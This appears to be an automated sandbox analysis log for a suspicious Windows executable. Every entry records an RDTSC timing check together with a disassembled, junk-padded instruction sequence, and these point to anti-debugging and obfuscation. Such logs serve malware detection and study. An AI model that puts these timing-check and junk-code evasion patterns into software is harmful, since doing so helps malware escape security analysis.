Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51E4AE second address: 51E4C1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FFAF8C4A83Ch 0x00000008 jns 00007FFAF8C4A836h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 51E4C1 second address: 51E4EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jmp 00007FFAF9027259h 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007FFAF9027246h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 520325 second address: 52032F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FFAF8C4A836h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 522857 second address: 52285D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52199F second address: 5219A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5219A5 second address: 5219A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5219A9 second address: 5219CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jmp 00007FFAF8C4A844h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 522A61 second address: 522A65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 522A65 second address: 522A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 528910 second address: 528937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAF9027258h 0x00000009 jnp 00007FFAF9027246h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 528937 second address: 52893B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52893B second address: 528962 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 je 00007FFAF9027246h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FFAF9027251h 0x00000015 jnc 00007FFAF9027246h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4EF472 second address: 4EF493 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a jl 00007FFAF8C4A836h 0x00000010 pop ebx 0x00000011 jo 00007FFAF8C4A838h 0x00000017 pushad 0x00000018 popad 0x00000019 je 00007FFAF8C4A83Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 527E7D second address: 527EA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF9027251h 0x00000007 jmp 00007FFAF9027256h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 527EA8 second address: 527EB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FFAF8C4A836h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 527EB4 second address: 527EE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d js 00007FFAF9027246h 0x00000013 jg 00007FFAF9027246h 0x00000019 pop eax 0x0000001a jns 00007FFAF902724Ah 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 pop esi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52818A second address: 5281A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FFAF8C4A844h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 528443 second address: 52847A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FFAF9027246h 0x0000000a jmp 00007FFAF902724Fh 0x0000000f popad 0x00000010 jnc 00007FFAF9027252h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jnc 00007FFAF9027246h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52847A second address: 528497 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FFAF8C4A83Ah 0x0000000f push edx 0x00000010 pop edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 528497 second address: 5284B9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FFAF9027258h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FFAF9027250h 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007FFAF9027246h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5284B9 second address: 5284BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 528604 second address: 528624 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FFAF9027258h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52BB8E second address: 52BB99 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52BC98 second address: 52BC9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52BC9C second address: 52BCA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52BCA1 second address: 52BCA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52BE2E second address: 52BE32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52BE32 second address: 52BE3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52BE3C second address: 52BE40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52BE40 second address: 52BE52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52C023 second address: 52C035 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FFAF8C4A836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52C035 second address: 52C039 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52C039 second address: 52C03F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52C0EE second address: 52C0F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52C0F2 second address: 52C110 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FFAF8C4A836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FFAF8C4A840h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52C227 second address: 52C22C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52C2BD second address: 52C2C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52C488 second address: 52C4A8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FFAF902724Ch 0x00000008 jns 00007FFAF9027246h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jmp 00007FFAF902724Bh 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52C4A8 second address: 52C4AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52C8BE second address: 52C8C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52C8C2 second address: 52C8D4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FFAF8C4A836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52C8D4 second address: 52C8F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF9027258h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52C8F0 second address: 52C90D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAF8C4A849h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52CF37 second address: 52CF3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52CF3E second address: 52CF4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52CF4B second address: 52CF50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52CF50 second address: 52CF56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4EA3ED second address: 4EA3F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4EA3F5 second address: 4EA3FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4EA3FB second address: 4EA411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jnp 00007FFAF902724Ah 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4EA411 second address: 4EA419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52FA38 second address: 52FA72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF9027258h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FFAF9027254h 0x00000010 js 00007FFAF9027252h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4E0557 second address: 4E055D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4E055D second address: 4E0562 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4E0562 second address: 4E0568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 530071 second address: 530077 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 530077 second address: 5300DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov si, 3DE5h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FFAF8C4A838h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a jp 00007FFAF8C4A837h 0x00000030 pushad 0x00000031 mov edi, 3A05A862h 0x00000036 mov cx, 4825h 0x0000003a popad 0x0000003b push 00000000h 0x0000003d sub dword ptr [ebp+12460D4Ah], ebx 0x00000043 push eax 0x00000044 jp 00007FFAF8C4A842h 0x0000004a jc 00007FFAF8C4A83Ch 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 530ADA second address: 530AE0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 530AE0 second address: 530AE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 530AE6 second address: 530AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5308D2 second address: 5308F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FFAF8C4A848h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 531D00 second address: 531D13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 531385 second address: 531389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 531389 second address: 531393 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 535427 second address: 53542B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 53542B second address: 53542F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 53542F second address: 53549F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FFAF8C4A838h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 push 00000000h 0x00000026 pushad 0x00000027 or dword ptr [ebp+122D2B53h], ecx 0x0000002d jmp 00007FFAF8C4A845h 0x00000032 popad 0x00000033 push 00000000h 0x00000035 add si, 8FE9h 0x0000003a jmp 00007FFAF8C4A847h 0x0000003f push eax 0x00000040 pushad 0x00000041 push esi 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 53549F second address: 5354A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 535C3E second address: 535C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 537A5B second address: 537A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 538F67 second address: 538F71 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FFAF8C4A83Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 539ECE second address: 539ED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5390EA second address: 5390EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5390EE second address: 53914D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jl 00007FFAF9027246h 0x0000000f push dword ptr fs:[00000000h] 0x00000016 mov di, ax 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 mov ebx, edx 0x00000022 mov eax, dword ptr [ebp+122D0881h] 0x00000028 push 00000000h 0x0000002a push ebx 0x0000002b call 00007FFAF9027248h 0x00000030 pop ebx 0x00000031 mov dword ptr [esp+04h], ebx 0x00000035 add dword ptr [esp+04h], 00000015h 0x0000003d inc ebx 0x0000003e push ebx 0x0000003f ret 0x00000040 pop ebx 0x00000041 ret 0x00000042 mov dword ptr [ebp+122D240Fh], edx 0x00000048 mov bx, 0FBBh 0x0000004c push FFFFFFFFh 0x0000004e jp 00007FFAF9027248h 0x00000054 mov ebx, ecx 0x00000056 push eax 0x00000057 push ebx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 53B05B second address: 53B05F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 53C007 second address: 53C00D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 53C0BF second address: 53C0C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 53B2F4 second address: 53B2F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 53CFA2 second address: 53CFA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 53CFA6 second address: 53D038 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FFAF902724Ch 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007FFAF9027248h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a sub dword ptr [ebp+122D1B67h], eax 0x00000030 or edi, dword ptr [ebp+122D368Ah] 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b call 00007FFAF9027248h 0x00000040 pop edi 0x00000041 mov dword ptr [esp+04h], edi 0x00000045 add dword ptr [esp+04h], 00000017h 0x0000004d inc edi 0x0000004e push edi 0x0000004f ret 0x00000050 pop edi 0x00000051 ret 0x00000052 call 00007FFAF9027256h 0x00000057 or dword ptr [ebp+122D1F39h], edx 0x0000005d pop ebx 0x0000005e push 00000000h 0x00000060 or ebx, dword ptr [ebp+122D38DAh] 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 53D038 second address: 53D042 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FFAF8C4A836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 53F057 second address: 53F05D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 53F05D second address: 53F067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FFAF8C4A836h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 53F067 second address: 53F06D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 540BFE second address: 540C98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAF8C4A848h 0x00000009 popad 0x0000000a jmp 00007FFAF8C4A83Dh 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007FFAF8C4A842h 0x00000016 nop 0x00000017 movzx ebx, si 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007FFAF8C4A838h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 mov ebx, dword ptr [ebp+122D2364h] 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push eax 0x00000041 call 00007FFAF8C4A838h 0x00000046 pop eax 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b add dword ptr [esp+04h], 0000001Dh 